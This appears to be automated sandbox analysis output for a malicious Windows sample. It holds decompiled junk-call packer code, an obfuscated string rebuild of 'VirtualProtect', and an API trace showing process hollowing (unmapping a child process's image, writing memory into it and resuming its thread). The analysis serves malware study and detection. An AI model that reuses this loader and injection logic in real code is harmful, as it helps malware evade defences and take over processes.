					InterlockedExchange(_t183 + 0x18, 0);
					SetMailslotInfo(0, 0);
					__imp__CreateActCtxW(_t183 + 0x38);
					lstrcatA(_t183 + 0x64, "Mujec vizomilomib");
					GetThreadSelectorEntry(0, 0, _t183 + 0x30);
					TerminateThread(0, 0);
					__imp__GetSystemWow64DirectoryW(_t183 + 0x464, 0);
					GetConsoleMode(_t183 + 0x10, 0);
					 *(_t183 + 0x1c) = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					ReadFile(0, _t183 + 0x146c, 0, _t183 + 0x1c, _t183 + 0x1c);
					lstrcmpW(L"Hocukuwoyaso wabig", L"Rusipoca hutujini bivopi fopuhatuve wadag");
					GetPrivateProfileSectionA("Ruterirunih hazuxehez dugifagiwuna wuhij sasorokukuw", _t183 + 0xc68, 0, "Livoferuledanep yuvimigukos fezufogamor hiti");
					DebugBreak();
					GetStringTypeExA(0, 0, "Pasexoxikupef bolumelofedox gufihecicopucik depowujihi mezotor", 0, _t183 + 8);
				}
				return 0;
				L8:
				_t53 =  *0x43d160; // 0xffffcef2
				 *0x44d27c = _t53;
				goto L9;
			}

0x0041afb0
0x0041afb0
0x0041afb5
0x0041afbd
0x0041afc8
0x0041afd7
0x0041afdc
0x0041afdd
0x0041afe4
0x0041afea
0x0041aff1
0x0041aff6
0x0041affc
0x0041b003
0x0041b009
0x0041b00e
0x0041b00e
0x0041b011
0x0041b019
0x00000000
0x0041b01b
0x0041b022
0x0041b032
0x0041b03d
0x0041b045
0x0041b04b
0x0041b05b
0x0041b066
0x0041b071
0x0041b078
0x0041b08d
0x0041b09e
0x0041b0ab
0x0041b0bb
0x0041b0c3
0x0041b0cc
0x0041b0da
0x0041b0e5
0x0041b0f9
0x0041b105
0x0041b10c
0x0041b117
0x0041b125
0x0041b131
0x0041b137
0x0041b141
0x0041b148
0x0041b14f
0x0041b157
0x0041b160
0x0041b16d
0x0041b16d
0x0041b175
0x00000000
0x00000000
0x0041b177
0x0041b17e
0x00000000
0x00000000
0x0041b184
0x0041b190
0x0041b190
0x0041b192
0x0041b198
0x0041b19a
0x0041b19a
0x0041b1a7
0x0041b1ac
0x0041b1ac
0x0041b1b8
0x0041b1be
0x0041b1ea
0x0041b1f7
0x0041b1f7
0x0041b1f9
0x0041b1fa
0x0041b208
0x0041b20e
0x0041b212
0x0041b21a
0x0041b221
0x0041b221
0x0041b230
0x0041b238
0x0041b241
0x0041b253
0x0041b25e
0x0041b266
0x0041b26d
0x0041b271
0x0041b277
0x0041b27c
0x0041b282
0x0041b28c
0x0041b292
0x0041b29d
0x0041b2ad
0x0041b2bf
0x0041b2c7
0x0041b2c7
0x0041b2cd
0x0041b2d1
0x0041b2df
0x0041b2e4
0x0041b2e9
0x0041b2f0
0x0041b2f3
0x0041b2f3
0x0041b2f9
0x0041b2f9
0x0041b308
0x0041b30c
0x0041b316
0x0041b319
0x0041b319
0x0041b323
0x0041b325
0x0041b32a
0x0041b32a
0x0041b336
0x0041b344
0x0041b347
0x0041b359
0x0041b363
0x0041b367
0x0041b36f
0x0041b379
0x0041b37c
0x0041b38e
0x0041b398
0x0041b39b
0x0041b3a2
0x0041b3ad
0x0041b3c8
0x0041b3c8
0x0041b3ce
0x0041b3d2
0x0041b3e0
0x0041b3e4
0x0041b3ea
0x0041b3ec
0x0041b3ed
0x0041b3f2
0x0041b3f3
0x0041b3f3
0x0041b3ec
0x0041b3fb
0x0041b3fd
0x0041b400
0x0041b402
0x0041b402
0x0041b407
0x0041b408
0x0041b410
0x0041b41c
0x0041b42b
0x0041b433
0x0041b43c
0x0041b445
0x0041b451
0x0041b459
0x0041b464
0x0041b474
0x0041b481
0x0041b489
0x0041b498
0x0041b4a4
0x0041b4ac
0x0041b4b4
0x0041b4b5
0x0041b4b6
0x0041b4b7
0x0041b4cc
0x0041b4dc
0x0041b4f5
0x0041b4fb
0x0041b50e
0x0041b50e
0x0041b51e
0x0041b186
0x0041b186
0x0041b18b
0x00000000

APIs

__vswprintf_c_l.LIBCMTD ref: 0041AFD7

Part of subcall function 0041B760: __vswprintf_helper.LIBCMTD ref: 0041B781

_wscanf.LIBCMTD ref: 0041AFE4

Part of subcall function 0041C580: _vwscanf.LIBCMTD ref: 0041C59B

_puts.LIBCMTD ref: 0041AFEA

Part of subcall function 0041C1B0: __invalid_parameter.LIBCMTD ref: 0041C23D

__wrename.LIBCMTD ref: 0041AFF1

Part of subcall function 0041C160: MoveFileA.KERNEL32(?,?), ref: 0041C16E
Part of subcall function 0041C160: GetLastError.KERNEL32 ref: 0041C178
Part of subcall function 0041C160: __dosmaperr.LIBCMTD ref: 0041C194

_abort.LIBCMTD ref: 0041AFF6

Part of subcall function 0041C020: _raise.LIBCMTD ref: 0041C060
Part of subcall function 0041C020: _memset.LIBCMT ref: 0041C0FF
Part of subcall function 0041C020: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041C12E
Part of subcall function 0041C020: UnhandledExceptionFilter.KERNEL32(?), ref: 0041C138

_malloc.LIBCMTD ref: 0041AFFC
_realloc.LIBCMTD ref: 0041B003

Part of subcall function 0041BFC0: __realloc_dbg.LIBCMTD ref: 0041BFD4

Part of subcall function 0041BFA0: __wcstoi64.LIBCMTD ref: 0041BFAD

GetBinaryTypeW.KERNEL32(Zowivukivoyujeg,?), ref: 0041B032
SetCurrentDirectoryA.KERNEL32(Dufecewew cofa hijuvonego xuhayururo yeyabon), ref: 0041B03D
Process32FirstW.KERNEL32(00000000,00000000), ref: 0041B045
InitializeCriticalSection.KERNEL32(00000000), ref: 0041B04B
QueryDosDeviceW.KERNEL32(00000000,?,00000000), ref: 0041B05B
TerminateJobObject.KERNEL32 ref: 0041B066
GlobalAddAtomA.KERNEL32 ref: 0041B071
SetHandleCount.KERNEL32(00000000), ref: 0041B078
WriteProfileStringW.KERNEL32(yumikodapagasulafikizatevaguliwurifelutegesafajatizupog,riyijoj,mizotegikomo), ref: 0041B08D
GetFullPathNameW.KERNEL32(00000000,00000000,?,00000000), ref: 0041B09E
FindNextVolumeMountPointA.KERNEL32(00000000,?,00000000), ref: 0041B0AB
GetCompressedFileSizeA.KERNEL32(rikep,?), ref: 0041B0BB
FillConsoleOutputCharacterW.KERNEL32(00000000,00000000,00000000,?,?), ref: 0041B0DA
GetNamedPipeInfo.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041B0E5
lstrcpynW.KERNEL32(?,Barope buyudaloxokigo,00000000), ref: 0041B0F9
FatalAppExitW.KERNEL32(00000000,Jubu neriri), ref: 0041B105
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 0041B10C
GetProcessTimes.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041B117
EnumResourceNamesW.KERNEL32(00000000,ryasonumejawivayupa,00000000,00000000), ref: 0041B125
SetWaitableTimer.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041B131
AreFileApisANSI.KERNEL32 ref: 0041B137
PostQueuedCompletionStatus.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041B141
FindClose.KERNEL32(00000000), ref: 0041B148
SetEndOfFile.KERNEL32(00000000), ref: 0041B14F
SetCommMask.KERNEL32(00000000,00000000), ref: 0041B157
LocalReAlloc.KERNEL32(00000000,00000000,00000000), ref: 0041B160
OpenMutexA.KERNEL32 ref: 0041B16D
GetLastError.KERNEL32 ref: 0041B19A
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0041B1AC
GetComputerNameW.KERNEL32 ref: 0041B1EA
OpenMutexA.KERNEL32 ref: 0041B1F7
WriteConsoleOutputCharacterA.KERNEL32(00000000,Nukinorokikoxo wasi pujiyerubuxewa hacotahaco,00000000,?,?), ref: 0041B253
GetModuleHandleA.KERNEL32(sdhfdghdfghdfg), ref: 0041B25E
GetNumberOfConsoleInputEvents.KERNEL32(00000000,00000000), ref: 0041B266
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041B26D
ResetWriteWatch.KERNEL32(00000000,00000000), ref: 0041B271
GetConsoleAliasExesLengthW.KERNEL32 ref: 0041B277
EnumDateFormatsW.KERNEL32(00000000,00000000,00000000), ref: 0041B27C
GetConsoleAliasExesLengthW.KERNEL32 ref: 0041B282
GetConsoleAliasA.KERNEL32(00000000,?,00000000,00000000), ref: 0041B28C
GetConsoleCP.KERNEL32 ref: 0041B292
LockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041B29D
VerLanguageNameW.KERNEL32(00000000,?,00000000), ref: 0041B2AD
lstrcpyW.KERNEL32(?,Coxoxovamiyun kegekukizurare winul), ref: 0041B2BF
SetFileShortNameA.KERNEL32(00000000,00000000), ref: 0041B2C7
SetThreadLocale.KERNEL32(00000000), ref: 0041B2F3
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041B319
CreateSemaphoreW.KERNEL32(00000000,00000000,00000000,zopobujibavovenejeyejuhuwurulelu), ref: 0041B344
GetLocalTime.KERNEL32(00000000), ref: 0041B347
FindResourceExA.KERNEL32(00000000,sinamepizimikezovufofunubirinopevizar,birifuxuwurifuculesugixibuwozid,00000000), ref: 0041B359
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041B363
WaitNamedPipeW.KERNEL32(00000000,00000000), ref: 0041B367
TransmitCommChar.KERNEL32(00000000,00000000), ref: 0041B36F
CreateSemaphoreW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041B379
GetTapeStatus.KERNEL32 ref: 0041B37C
PeekConsoleInputW.KERNEL32(00000000,?,00000000,?), ref: 0041B38E
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041B398
DisableThreadLibraryCalls.KERNEL32(00000000), ref: 0041B39B
HeapLock.KERNEL32(00000000), ref: 0041B3A2
TryEnterCriticalSection.KERNEL32(?), ref: 0041B3AD
GetPrivateProfileStructW.KERNEL32 ref: 0041B3C8
WriteConsoleA.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041B42B
EndUpdateResourceW.KERNEL32(00000000,00000000), ref: 0041B433
DefineDosDeviceW.KERNEL32(00000000,00000000,00000000), ref: 0041B43C
GetSystemTimeAdjustment.KERNEL32(00000000,00000000,00000000), ref: 0041B445
InterlockedExchange.KERNEL32(?,00000000), ref: 0041B451
SetMailslotInfo.KERNEL32 ref: 0041B459
CreateActCtxW.KERNEL32(?), ref: 0041B464
lstrcatA.KERNEL32(?,Mujec vizomilomib), ref: 0041B474
GetThreadSelectorEntry.KERNEL32(00000000,00000000,?), ref: 0041B481
TerminateThread.KERNEL32(00000000,00000000), ref: 0041B489
GetSystemWow64DirectoryW.KERNEL32(?,00000000), ref: 0041B498
GetConsoleMode.KERNEL32(?,00000000), ref: 0041B4A4
ReadFile.KERNEL32(00000000,?,00000000,?,?), ref: 0041B4CC
lstrcmpW.KERNEL32(Hocukuwoyaso wabig,Rusipoca hutujini bivopi fopuhatuve wadag), ref: 0041B4DC
GetPrivateProfileSectionA.KERNEL32 ref: 0041B4F5
DebugBreak.KERNEL32 ref: 0041B4FB
GetStringTypeExA.KERNEL32(00000000,00000000,Pasexoxikupef bolumelofedox gufihecicopucik depowujihi mezotor,00000000,?), ref: 0041B50E

Strings

sinamepizimikezovufofunubirinopevizar, xrefs: 0041B353
\H, xrefs: 0041B2D1
fohusumicuxuzujido, xrefs: 0041B3C3
Rusipoca hutujini bivopi fopuhatuve wadag, xrefs: 0041B4D2
mehugisaj, xrefs: 0041B1F0
Hocukuwoyaso wabig, xrefs: 0041B4D7
Ruterirunih hazuxehez dugifagiwuna wuhij sasorokukuw, xrefs: 0041B4F0
Pasexoxikupef bolumelofedox gufihecicopucik depowujihi mezotor, xrefs: 0041B507
yumikodapagasulafikizatevaguliwurifelutegesafajatizupog, xrefs: 0041B088
ryasonumejawivayupa, xrefs: 0041B11F
birifuxuwurifuculesugixibuwozid, xrefs: 0041B34E
Barope buyudaloxokigo, xrefs: 0041B0EC
Nukinorokikoxo wasi pujiyerubuxewa hacotahaco, xrefs: 0041B24D
Livoferuledanep yuvimigukos fezufogamor hiti, xrefs: 0041B4E2
sdhfdghdfghdfg, xrefs: 0041B259
h?, xrefs: 0041B32A
h?, xrefs: 0041B325
Coxoxovamiyun kegekukizurare winul, xrefs: 0041B2B2
lodusirinokubovibugonumubuv, xrefs: 0041B166
Jubu neriri, xrefs: 0041B0FF
rikep, xrefs: 0041B0B6
zopobujibavovenejeyejuhuwurulelu, xrefs: 0041B33C
Zowivukivoyujeg, xrefs: 0041B02D
yecajobuyo, xrefs: 0041B3BE
Mujec vizomilomib, xrefs: 0041B46A
guyohukidizafubemuj, xrefs: 0041B3B3
parulezizubekehad, xrefs: 0041B06C
Dufecewew cofa hijuvonego xuhayururo yeyabon, xrefs: 0041B038
mizotegikomo, xrefs: 0041B07E
VirtualProtect, xrefs: 0041AFDF
riyijoj, xrefs: 0041B083
X<, xrefs: 0041B31B

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: Console$File$NameThreadWrite$AliasCreateFindFreeLengthProfileResourceSection$CharacterCommCriticalDeviceDirectoryEnumEnvironmentErrorExceptionExesFilterHandleHeapInfoInputLastLocalLockMutexNamedOpenOutputOverlappedPipePrivateResultSemaphoreStatusStringStringsSystemTerminateTimeTypeUnhandled$AdjustmentAliasesAllocApisAtomBinaryBreakCallsCharCloseCompletionCompressedComputerCountCurrentDateDebugDefineDisableEnterEntryEventsExchangeExitFatalFillFirstFormatsFullGlobalInitializeInterlockedLanguageLibraryLocaleMailslotMaskModeModuleMountMoveNamesNextNumberObjectPathPeekPointPostProcessProcess32QueryQueuedReadResetSelectorShortSizeStructTapeTimerTimesTransmitUpdateVolumeWaitWaitableWatchWow64__dosmaperr__invalid_parameter__realloc_dbg__vswprintf_c_l__vswprintf_helper__wcstoi64__wrename_abort_malloc_memset_puts_raise_realloc_vwscanf_wscanflstrcatlstrcmplstrcpylstrcpyn
String ID: Barope buyudaloxokigo$Coxoxovamiyun kegekukizurare winul$Dufecewew cofa hijuvonego xuhayururo yeyabon$Hocukuwoyaso wabig$Jubu neriri$Livoferuledanep yuvimigukos fezufogamor hiti$Mujec vizomilomib$Nukinorokikoxo wasi pujiyerubuxewa hacotahaco$Pasexoxikupef bolumelofedox gufihecicopucik depowujihi mezotor$Rusipoca hutujini bivopi fopuhatuve wadag$Ruterirunih hazuxehez dugifagiwuna wuhij sasorokukuw$VirtualProtect$X<$Zowivukivoyujeg$birifuxuwurifuculesugixibuwozid$fohusumicuxuzujido$guyohukidizafubemuj$lodusirinokubovibugonumubuv$mehugisaj$mizotegikomo$parulezizubekehad$rikep$riyijoj$ryasonumejawivayupa$sdhfdghdfghdfg$sinamepizimikezovufofunubirinopevizar$yecajobuyo$yumikodapagasulafikizatevaguliwurifelutegesafajatizupog$zopobujibavovenejeyejuhuwurulelu$\H$h?$h?
API String ID: 2246877541-1414065692
Opcode ID: e08c1c77fc78c16adab907247d4c18e5dae3b28b3743c5b19408ff1794007b93
Instruction ID: 5bff923445a0d9ef4d0330f6fed71de562b4680d1306f80187e3309ef0cb8e56
Opcode Fuzzy Hash: e08c1c77fc78c16adab907247d4c18e5dae3b28b3743c5b19408ff1794007b93
Instruction Fuzzy Hash: 78D12E75402664BBC325ABA2AD4DDDF3EACFF4A395B00442AF245A1070C7784685CBFE

Uniqueness

Uniqueness Score: -1.00%

Function 00540110, Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00540156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0054016C
CreateProcessA.KERNELBASE(?,00000000), ref: 00540255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00540270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00540283
GetThreadContext.KERNELBASE(00000000,?), ref: 0054029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 005402C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 005402E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 00540304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0054032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 00540399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 005403BF
SetThreadContext.KERNELBASE(00000000,?), ref: 005403E1
ResumeThread.KERNELBASE(00000000), ref: 005403ED
ExitProcess.KERNEL32(00000000), ref: 00540412

Memory Dump Source

Source File: 00000000.00000002.660280904.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_7NAzyCWRyM.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 3dfb4c8af88f500584b3aaebfe67b33d348b7c29fb0b0a8c3b594a822a812b77
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 3BB1B674A00209AFDB44CF98C895F9EBBB5BF88314F248158E609AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00419109, Relevance: 63.8, APIs: 2, Strings: 34, Instructions: 787
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00419109() {
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				intOrPtr _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				intOrPtr _v192;
				intOrPtr _v196;
				intOrPtr _v200;
				intOrPtr _v204;
				intOrPtr _v208;
				intOrPtr _v212;
				intOrPtr _v216;
				intOrPtr _v220;
				intOrPtr _v224;
				intOrPtr _v228;
				intOrPtr _v232;
				intOrPtr _v236;
				intOrPtr _v240;
				intOrPtr _v244;
				intOrPtr _v248;
				intOrPtr _v252;
				intOrPtr _v256;
				intOrPtr _v260;
				intOrPtr _v264;
				intOrPtr _v268;
				intOrPtr _v272;
				intOrPtr _v276;
				intOrPtr _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				intOrPtr _v296;
				intOrPtr _v300;
				intOrPtr _v304;
				intOrPtr _v308;
				intOrPtr _v312;
				intOrPtr _v316;
				intOrPtr _v320;
				intOrPtr _v324;
				intOrPtr _v328;
				intOrPtr _v332;
				intOrPtr _v336;
				intOrPtr _v340;
				intOrPtr _v344;
				intOrPtr _v348;
				intOrPtr _v352;
				intOrPtr _v356;
				intOrPtr _v360;
				intOrPtr _v364;
				intOrPtr _v368;
				intOrPtr _v372;
				intOrPtr _v376;
				intOrPtr _v380;
				intOrPtr _v384;
				intOrPtr _v388;
				intOrPtr _v392;
				intOrPtr _v396;
				intOrPtr _v400;
				intOrPtr _v404;
				intOrPtr _v408;
				intOrPtr _v412;
				intOrPtr _v416;
				intOrPtr _v420;
				intOrPtr _v424;
				intOrPtr _v428;
				intOrPtr _v432;
				intOrPtr _v436;
				intOrPtr _v440;
				intOrPtr _v444;
				intOrPtr _v448;
				intOrPtr _v452;
				intOrPtr _v456;
				intOrPtr _v460;
				intOrPtr _v464;
				intOrPtr _v468;
				intOrPtr _v472;
				intOrPtr _v476;
				intOrPtr _v480;
				intOrPtr _v484;
				intOrPtr _v488;
				intOrPtr _v492;
				intOrPtr _v496;
				intOrPtr _v500;
				intOrPtr _v504;
				intOrPtr _v508;
				intOrPtr _v512;
				intOrPtr _v516;
				intOrPtr _v520;
				intOrPtr _v524;
				intOrPtr _v528;
				intOrPtr _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				intOrPtr _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				intOrPtr _v600;
				intOrPtr _v604;
				intOrPtr _v608;
				intOrPtr _v612;
				intOrPtr _v616;
				intOrPtr _v620;
				intOrPtr _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				intOrPtr _v672;
				intOrPtr _v676;
				intOrPtr _v680;
				intOrPtr _v684;
				intOrPtr _v688;
				intOrPtr _v692;
				intOrPtr _v696;
				intOrPtr _v700;
				intOrPtr _v704;
				intOrPtr _v708;
				intOrPtr _v712;
				intOrPtr _v716;
				intOrPtr _v720;
				intOrPtr _v724;
				intOrPtr _v728;
				intOrPtr _v732;
				intOrPtr _v736;
				intOrPtr _v740;
				intOrPtr _v744;
				intOrPtr _v748;
				intOrPtr _v752;
				intOrPtr _v756;
				intOrPtr _v760;
				intOrPtr _v764;
				intOrPtr _v768;
				intOrPtr _v772;
				intOrPtr _v776;
				intOrPtr _v780;
				intOrPtr _v784;
				intOrPtr _v788;
				intOrPtr _v792;
				intOrPtr _v796;
				intOrPtr _v800;
				intOrPtr _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _v816;
				intOrPtr _v820;
				intOrPtr _v824;
				intOrPtr _v828;
				intOrPtr _v832;
				intOrPtr _v836;
				intOrPtr _v840;
				intOrPtr _v844;
				intOrPtr _v848;
				intOrPtr _v852;
				intOrPtr _v856;
				intOrPtr _v860;
				intOrPtr _v864;
				intOrPtr _v868;
				intOrPtr _v872;
				intOrPtr _v876;
				intOrPtr _v880;
				intOrPtr _v884;
				intOrPtr _v888;
				intOrPtr _v892;
				intOrPtr _v896;
				intOrPtr _v900;
				intOrPtr _v904;
				intOrPtr _v908;
				intOrPtr _v912;
				intOrPtr _v916;
				intOrPtr _v920;
				intOrPtr _v924;
				intOrPtr _v928;
				intOrPtr _v932;
				intOrPtr _v936;
				intOrPtr _v940;
				intOrPtr _v944;
				intOrPtr _v948;
				intOrPtr _v952;
				intOrPtr _v956;
				intOrPtr _v960;
				intOrPtr _v964;
				intOrPtr _v968;
				intOrPtr _v972;
				intOrPtr _v976;
				intOrPtr _v980;
				intOrPtr _v984;
				intOrPtr _v988;
				intOrPtr _v992;
				intOrPtr _v996;
				intOrPtr _v1000;
				intOrPtr _v1004;
				intOrPtr _v1008;
				intOrPtr _v1012;
				intOrPtr _v1016;
				intOrPtr _v1020;
				intOrPtr _v1024;
				intOrPtr _v1028;
				intOrPtr _v1032;
				intOrPtr _v1036;
				intOrPtr _v1040;
				intOrPtr _v1044;
				intOrPtr _v1048;
				intOrPtr _v1052;
				intOrPtr _v1056;
				intOrPtr _v1060;
				intOrPtr _v1064;
				intOrPtr _v1068;
				intOrPtr _v1072;
				intOrPtr _v1076;
				intOrPtr _v1080;
				intOrPtr _v1084;
				intOrPtr _v1088;
				intOrPtr _v1092;
				intOrPtr _v1096;
				intOrPtr _v1100;
				intOrPtr _v1104;
				intOrPtr _v1108;
				intOrPtr _v1112;
				intOrPtr _v1116;
				intOrPtr _v1120;
				intOrPtr _v1124;
				intOrPtr _v1128;
				intOrPtr _v1132;
				intOrPtr _v1136;
				intOrPtr _v1140;
				intOrPtr _v1144;
				intOrPtr _v1148;
				intOrPtr _v1152;
				intOrPtr _v1156;
				intOrPtr _v1160;
				intOrPtr _v1164;
				intOrPtr _v1168;
				intOrPtr _v1172;
				intOrPtr _v1176;
				intOrPtr _v1180;
				intOrPtr _v1184;
				intOrPtr _v1188;
				intOrPtr _v1192;
				intOrPtr _v1196;
				intOrPtr _v1200;
				intOrPtr _v1204;
				intOrPtr _v1208;
				intOrPtr _v1212;
				intOrPtr _v1216;
				intOrPtr _v1220;
				intOrPtr _v1224;
				intOrPtr _v1228;
				intOrPtr _v1232;
				intOrPtr _v1236;
				intOrPtr _v1240;
				intOrPtr _v1244;
				intOrPtr _v1248;
				intOrPtr _v1252;
				intOrPtr _v1256;
				intOrPtr _v1260;
				intOrPtr _v1264;
				intOrPtr _v1268;
				intOrPtr _v1272;
				intOrPtr _v1276;
				intOrPtr _v1280;
				intOrPtr _v1284;
				intOrPtr _v1288;
				intOrPtr _v1292;
				intOrPtr _v1296;
				intOrPtr _v1300;
				intOrPtr _v1304;
				intOrPtr _v1308;
				intOrPtr _v1312;
				intOrPtr _v1316;
				intOrPtr _v1320;
				int _t1482;
				DWORD* _t1563;

				"VirtualProtect" = 0x6b;
				"irtualProtect" = 0x65;
				"rtualProtect" = 0x72;
				"rotect" = 0x2e;
				 *0x43e251 = 0x64;
				 *0x43e252 = 0x6c;
				 *0x43e254 = 0;
				_v16 = 0x1585ce53;
				_v4 = 0x7742fe0f;
				_v1064 = 0x4646dd23;
				_v972 = 0x4075d87c;
				_v492 = 0x6d9becc;
				_v488 = 0x1c0df3a3;
				_v500 = 0x5090e978;
				_v628 = 0x556bf28e;
				_v976 = 0x54346b85;
				_v636 = 0x159a4af1;
				_v536 = 0x107b2ee1;
				_v1072 = 0x730da54;
				_v272 = 0x7750180e;
				_v644 = 0x1dca0fad;
				_v980 = 0x65544fff;
				_v372 = 0x7865ece;
				_v988 = 0x336cc1cc;
				_v112 = 0x6610b8e5;
				_v88 = 0x1250dbbb;
				_v508 = 0x31dca6e7;
				_v380 = 0x1a84784d;
				_v1172 = 0x4725625;
				_v680 = 0x5677b39e;
				_v1080 = 0x335dfc3b;
				_v296 = 0x23078573;
				_v388 = 0x14a24d41;
				_v788 = 0xe0e054e;
				_v996 = 0x4bb83cff;
				_v1176 = 0x7869c878;
				_v872 = 0xe933fff;
				_v776 = 0x61161b51;
				_v344 = 0x57e61415;
				_v544 = 0x470a664a;
				_v116 = 0x3ba820f;
				_v1088 = 0x2978adc8;
				_v592 = 0x7fb643c2;
				_v440 = 0x75295aa;
				_v880 = 0x77d02147;
				_v72 = 0x574a30b2;
				_v1004 = 0x668af624;
				_v12 = 0x30e3ce32;
				_v1012 = 0x4a3cbeee;
				_v20 = 0x5d106558;
				_v224 = 0x1a063a0d;
				_v1020 = 0x5553d04;
				_v888 = 0x7edd5ec;
				_v1184 = 0x728f35af;
				_v1248 = 0x4d08ddab;
				_v1180 = 0x3b63b427;
				_v124 = 0x53abb7ad;
				_v796 = 0x27d42422;
				_v132 = 0xa65aaa;
				_v1188 = 0x3a1d2c3;
				_v448 = 0x2a642b16;
				_v236 = 0x140d4cb4;
				_v392 = 0x7c396e8f;
				_v152 = 0x934595;
				_v160 = 0x772fbd56;
				_v688 = 0x9751132;
				_v1096 = 0x35ca885;
				_v652 = 0x300e9155;
				_v804 = 0x2b463d14;
				_v1256 = 0x7505d71b;
				_v516 = 0x6658a43c;
				_v176 = 0x740f1800;
				_v896 = 0x56156c98;
				_v248 = 0x7f96a288;
				_v32 = 0x58a4634a;
				_v1192 = 0x6e6f4f6b;
				_v1196 = 0x6f434b53;
				_v524 = 0x2af62163;
				_v1204 = 0x33028018;
				_v532 = 0x282fdd99;
				_v984 = 0xafde6e7;
				_v496 = 0x2e33a8db;
				_v904 = 0x4d329c9e;
				_v660 = 0x1a432b2f;
				_v244 = 0x43562b4;
				_v552 = 0x5ddceb83;
				_v812 = 0x575ef1bd;
				_v1104 = 0x46359574;
				_v396 = 0x5ea2a415;
				_v280 = 0x2de551f5;
				_v820 = 0x342617f;
				_v784 = 0x364234cd;
				_v696 = 0x563903a9;
				_v828 = 0x1c533d31;
				_v540 = 0x4c6be049;
				_v140 = 0x5563d541;
				_v252 = 0x4c3a3a28;
				_v200 = 0x68b93b4b;
				_v260 = 0x147b53ce;
				_v1212 = 0x6f5b452a;
				_v1220 = 0x58148cae;
				_v632 = 0x2a2e14b8;
				_v1228 = 0x7090eaed;
				_v1264 = 0x62ac1593;
				_v992 = 0x10cee8b9;
				_v548 = 0x7146715b;
				_v600 = 0x22b15c89;
